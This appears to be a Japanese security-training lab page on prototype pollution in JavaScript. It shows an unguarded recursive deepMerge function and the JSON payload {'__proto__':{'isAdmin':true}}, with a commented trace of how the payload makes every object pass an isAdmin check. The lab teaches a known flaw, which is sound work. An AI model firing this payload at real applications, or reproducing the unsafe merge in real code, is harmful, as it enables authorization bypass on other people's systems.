utsuroi prototype pollution labsLab 01 / 5 — Practitioner
01

Object 汚染で isAdmin を強制 true に

Prototype pollution to bypass authorization

うつろい EC のユーザ設定 API は、ユーザ送信の JSON を内部設定オブジェクトに「再帰的にマージ」する実装。マージ関数は __proto__ キーを除外していない、典型的な脆弱パターン。

function deepMerge(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = target[key] || {};
            deepMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

権限チェックは if (currentUser.isAdmin) { ... }Object.prototype を汚染できれば、すべてのユーザが isAdmin=true として判定される。

JSON ペイロードに __proto__ を含めて、Object.prototype を汚染してください。汚染後にアプリの isAdmin 判定が常に true になることを確認します。

新しく作ったオブジェクトの isAdmin プロパティ

const newUser = {};
console.log(newUser.isAdmin);
// (まだ確認していません)
クイック試行:

新しく作ったオブジェクトの isAdmin プロパティ(再確認)

(まだ確認していません)

アプリの権限判定

アプリは if (currentUser.isAdmin) { return adminData; } で管理機能を出しています。

(まだアクセスしていません)
マージ関数の挙動
// 攻撃者の入力
const evil = JSON.parse('{"__proto__":{"isAdmin":true}}');

// マージ実行
deepMerge({}, evil);

// 内部:
//   for (const key in evil) {  // key = "__proto__"
//     if (typeof evil[key] === 'object') {
//       target[key] = target[key] || {};  // target.__proto__ = {} ※ ここで Object.prototype を取得
//       deepMerge(target[key], evil[key]);  // Object.prototype に再帰マージ
//       //   → Object.prototype.isAdmin = true がセット
//     }
//   }

// 結果:すべての {} が isAdmin=true を継承